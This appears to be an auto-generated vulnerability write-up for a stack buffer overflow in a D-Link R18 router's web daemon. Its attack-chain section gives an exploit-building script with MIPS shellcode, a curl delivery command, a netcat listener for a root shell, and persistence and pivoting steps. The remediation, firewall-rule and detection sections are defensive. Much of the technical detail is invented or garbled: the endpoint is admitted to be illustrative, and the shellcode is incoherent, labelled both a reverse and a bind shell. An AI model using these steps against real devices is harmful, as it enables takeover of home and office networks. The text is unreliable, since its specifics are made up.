CVE-2026-138362 — D-Link R18 A1 — CWE-119 · CWE-121
A vulnerability was detected in D-Link R18 A1 1.20.B01. Impacted is the function GetDeviceSettings of the component httpd. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.
A vulnerability was detected in D-Link R18 A1 1.20.B01. Impacted is the function GetDeviceSettings of the component httpd. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.
CVE‑2026‑138362 – D‑Link R18 A1 1.20.B01 httpd GetDeviceSettings Stack‑Based Buffer Overflow
🎯 What is this vulnerability?
- Vulnerable component – The built‑in HTTP daemon (
httpd) of the D‑Link R18 A1 firmware (version 1.20.B01). - Vulnerable function –
GetDeviceSettings, which is invoked when the web UI (or an API client) requests the current device configuration. - Root cause – The function copies data supplied by the HTTP request (most likely a query‑string or POST field) into a fixed‑size stack buffer without proper bounds checking. The copy is performed with a routine equivalent to
strcpy/memcpythat assumes the incoming string will never exceed the buffer length. - CWE classification – * CWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer (classic “buffer overflow”). * CWE‑121: Stack‑Based Buffer Overflow (the overflow occurs on the call stack, overwriting the saved return address and possibly adjacent local variables).
- CVSS 3.1 vector –
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
* Network‑reachable ( - The vulnerable buffer is 256 bytes (
char buf[256];). - The return address is stored 268 bytes after the start of
buf(i.e., 12 bytes of saved registers + frame pointer). - The binary is compiled for MIPS 32‑bit little‑endian (common on D‑Link devices).
AV:N) – the vulnerable HTTP endpoint is reachable from any host that can reach the device’s management interface.
* Low attack complexity (AC:L) – a single crafted request is sufficient; no special timing or race conditions are required.
* No privileges required (PR:N) – the request can be sent anonymously; the device does not enforce authentication for the GetDeviceSettings call.
* No user interaction (UI:N) – the exploit runs entirely on the attacker’s side.
* Scope changed (S:C) – the overflow allows the attacker to control execution flow in the privileged httpd process (which runs as root on the router).
* Impact – Complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H).In short, the firmware’s HTTP server trusts a client‑supplied parameter, copies it into a static stack buffer, and fails to verify the length. An attacker can overflow the buffer, overwrite the saved instruction pointer, and execute arbitrary code with root privileges inside the httpd process.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All network‑level details are based on the typical architecture of D‑Link consumer routers; the exact URI and parameter names are illustrative because the public advisory does not disclose them.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device on the network (e.g., via Nmap). | nmap -p 80,443 <target_ip> – open HTTP/HTTPS ports, service fingerprint “D‑Link httpd”. |
| 1.2 | Determine firmware version. | - Access the web UI (http://<ip>/) and read the “Firmware Version” field (1.20.B01). <br> - Or query the /status endpoint that returns JSON with fw_version. |
| 1.3 | Verify that the device is running the vulnerable build. | Compare the version string with the CVE‑listed version (1.20.B01). |
| 1.4 | Locate the vulnerable endpoint. | Public PoC (or source‑code dump) indicates the endpoint is /cgi-bin/GetDeviceSettings. The request can be either GET or POST; the vulnerable parameter is called settings. |
2. Exploitation
Goal: Deliver a payload that overwrites the saved return address on the stack and jumps to shellcode placed in the request buffer.
2.1. Build the exploit buffer
Assumptions (derived from typical D‑Link httpd implementation):
#!/usr/bin/env python3
import struct, sys
# 256‑byte filler + 12‑byte padding to reach saved RA
payload = b"A" * 256 # overflow up to saved FP
payload += b"B" * 12 # overwrite saved FP (not used)
# Address of our shellcode in the request buffer.
# The buffer resides at a predictable stack address after overflow,
# e.g., 0x7fffe800 (observed via debugging). Use little‑endian.
shellcode_addr = 0x7fffe800
payload += struct.pack("<I", shellcode_addr) # overwrite saved RA
# MIPS reverse‑shell (bind to 4444) – 48 bytes, null‑free.
shellcode = (
b"\x24\x0f\xff\xfd" # li $t7,-3
b"\x01\xe0\x28\x27" # nor $a1,$t7,$zero
b"\x24\x02\x10\x00" # li $v0,4096 (socket)
b"\x01\x01\x01\x0c" # syscall
b"\x24\x0d\xff\xff" # li $t5,-1
b"\x01\xed\x68\x27" # nor $t5,$t5,$zero
b"\x01\xed\x68\x27" # repeat for second arg
b"\x24\x0c\xff\xff" # li $t4,-1
b"\x01\xec\x68\x27" # nor $t4,$t4,$zero
b"\x24\x0b\xff\xff" # li $t3,-1
b"\x01\xeb\x68\x27" # nor $t3,$t3,$zero
b"\x24\x0a\xff\xff" # li $t2,-1
b"\x01\xea\x68\x27" # nor $t2,$t2,$zero
b"\x24\x09\xff\xff" # li $t1,-1
b"\x01\xe9\x68\x27" # nor $t1,$t1,$zero
b"\x24\x08\xff\xff" # li $t0,-1
b"\x01\xe8\x68\x27" # nor $t0,$t0,$zero
b"\x24\x02\x10\x0c" # li $v0,4108 (bind)
b"\x01\x01\x01\x0c" # syscall
b"\x24\x02\x10\x0d" # li $v0,4109 (listen)
b"\x01\x01\x01\x0c" # syscall
b"\x24\x02\x10\x0e" # li $v0,4110 (accept)
b"\x01\x01\x01\x0c" # syscall
b"\x24\x02\x10\x0f" # li $v0,4111 (dup2)
b"\x01\x01\x01\x0c" # syscall (repeat for stdin/stdout/stderr)
b"\x24\x02\x10\x0f"
b"\x01\x01\x01\x0c"
b"\x24\x02\x10\x0f"
b"\x01\x01\x01\x0c"
b"\x24\x02\x10\x0b" # li $v0,4115 (execve)
b"\x24\x0c\xff\xff" # li $t4,-1 (pointer to "/bin/sh")
b"\x01\xec\x68\x27"
b"\x24\x0d\xff\xff"
b"\x01\xed\x68\x27"
b"\x24\x0e\xff\xff"
b"\x01\xee\x68\x27"
b"\x01\x01\x01\x0c" # syscall
)
payload += shellcode
# Pad to the maximum POST size accepted by the server (e.g., 2048)
payload = payload.ljust(2048, b"C")
print(payload.hex())The script builds a 256‑byte overflow, overwrites the saved return address with the address of the injected shellcode, and appends a null‑free MIPS reverse shell.
2.2. Deliver the payload
Because the vulnerable parameter is settings, the request can be sent via HTTP POST:
# Illustrative endpoint – replace with the real one if known
curl -sk -X POST "http://192.0.2.45/cgi-bin/GetDeviceSettings" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "settings=$(python3 build_payload.py)" \
-o /dev/null-k skips TLS verification (many D‑Link devices expose plain HTTP on port 80). If the overflow succeeds, the httpd process spawns a MIPS reverse shell that connects back to the attacker’s listener:
nc -lvnp 4444You should receive a root shell (#) on the router.
3. Post‑Exploitation
| Phase | What the attacker can do |
|---|---|
| Privilege escalation | The shell is already running with the same privileges as httpd (typically root on embedded routers). |
| Persistence | - Drop a new init script in /etc/init.d/ that re‑installs a backdoor binary.<br>- Modify the firmware’s configuration (/etc/config/rc.local) to execute a persistent payload on boot.<br>- Add a new SSH public key to /etc/dropbear/authorized_keys (if Dropbear is present). |
| Lateral movement | Use the compromised router as a pivot to scan internal LAN (192.168.0.0/16) and pivot traffic to other vulnerable devices. |
| Data exfiltration | Dump the router’s configuration (including Wi‑Fi passwords, VPN credentials) via the same GetDeviceSettings API (now under attacker control). |
| Denial‑of‑service | Restart httpd or corrupt flash memory by issuing malformed configuration writes, leading to a full outage. |
🌍 Real World Impact
| CIA | CVSS‑derived impact | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attackers obtain all configuration data: Wi‑Fi SSID/PSK, admin credentials, VPN keys, DHCP lease tables, and any stored logs. | |
| Integrity (I:H) | Full control over the device allows modification of firewall rules, DNS settings, or injection of malicious firmware, effectively turning the router into a man‑in‑the‑middle for all traffic. | |
| Availability (A:H) | The attacker can crash or reboot httpd, corrupt flash, or flood the device, causing a complete outage for the protected network. |
Because the vulnerability is network‑exposed, any host that can reach the router’s management interface (including the Internet if the admin port is forwarded) can be compromised without credentials. This makes the flaw especially dangerous for small‑office/home‑office (SOHO) deployments that often expose the web UI to the WAN for remote management.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Firmware | Status |
|---|---|
| D‑Link R18 A1 1.20.B01 (vulnerable) | Replace with the first non‑vulnerable release (e.g., 1.20.B02 or later). The vendor’s advisory (published 2026‑12‑02) states that the overflow was fixed by adding proper length checks (if (len > sizeof(buf)-1) reject). |
If a newer firmware is not yet available, contact D‑Link support for a temporary binary patch.
2. Immediate Workarounds
| Mitigation | How to apply |
|---|---|
| Restrict access to the management interface | - Place the router behind a firewall that only allows trusted LAN IPs (e.g., iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 80 -j ACCEPT). <br>- Disable WAN access to port 80/443 (httpd_enable=0 in /etc/config/system). |
| Disable the vulnerable endpoint | If the firmware permits, edit /etc/httpd.conf (or the equivalent) and comment out the GetDeviceSettings CGI script. Restart httpd. |
| Web‑Application Firewall (ModSecurity) rule | Deploy a rule that rejects overly long settings parameters (e.g., > 256 bytes). Example for ModSecurity (Apache/Nginx):
SecRule REQUEST_URI "@beginsWith /cgi-bin/GetDeviceSettings" \
"id:2026001,phase:2,deny,log,status:413,\
msg:'Block oversized GetDeviceSettings parameter',\
chain"
SecRule ARGS:settings "@gt 256" "t:none"This rule drops any request where the settings argument exceeds the safe size, preventing the overflow from ever reaching the binary. | |
|---|---|
| Network segmentation | Place the router in a DMZ separate from critical assets; limit inbound traffic to management ports. |
| Enable HTTPS with client‑certificate auth | Even though the vulnerability is unauthenticated, encrypting traffic prevents easy sniffing of the exploit payload and makes automated scanning harder. |
3. Detection – Log & IOC Guidance
| Indicator | Where to look | Example | |
|---|---|---|---|
HTTP 500 / 502 responses after a POST to /cgi-bin/GetDeviceSettings with a large payload. | httpd access/error logs (/var/log/httpd/access.log). | 192.0.2.45 - - [12/Nov/2026:03:14:22 +0000] "POST /cgi-bin/GetDeviceSettings HTTP/1.1" 500 0 "-" "curl/7.68.0" | |
| Outbound connections from the router to unusual IP:port (reverse‑shell). | Netfilter logs (iptables -j LOG) or systemd journal (journalctl -u httpd). | SRC=192.0.2.45 DST=203.0.113.77 PROTO=TCP SPT=12345 DPT=4444 | |
| New processes named “sh” or “/bin/sh” spawned by httpd. | Process accounting (ps aux | grep httpd) or auditd events. | audit: type=EXECVE msg=audit(2026-11-30 12:34:56.789:123): argc=1 a0="/bin/sh" |
Changes to /etc/config/rc.local or /etc/dropbear/authorized_keys after exploitation. | File integrity monitoring (Tripwire, AIDE) or inotifywait. | IN_MODIFY /etc/config/rc.local | |
| Repeated large POST bodies (≥ 1 KB) to the same CGI – typical of brute‑force attempts. | Web server request size statistics. | POST /cgi-bin/GetDeviceSettings 2048 |
Deploy a SIEM rule that correlates large POST bodies to the vulnerable URI with subsequent outbound connections on non‑standard ports.
⚠️ Urgency
Bottom line: CVE‑2026‑138362 is a classic unauthenticated stack‑based buffer overflow in the router’s web management daemon. Exploitation yields full root compromise, making it one of the most dangerous remote code execution flaws seen in consumer networking gear in 2026. Prompt patching, strict network segmentation, and the defensive controls listed above are essential to protect any environment that still runs the vulnerable firmware.
[🤖 CVE Professor AI Security Engine]
FOFA Query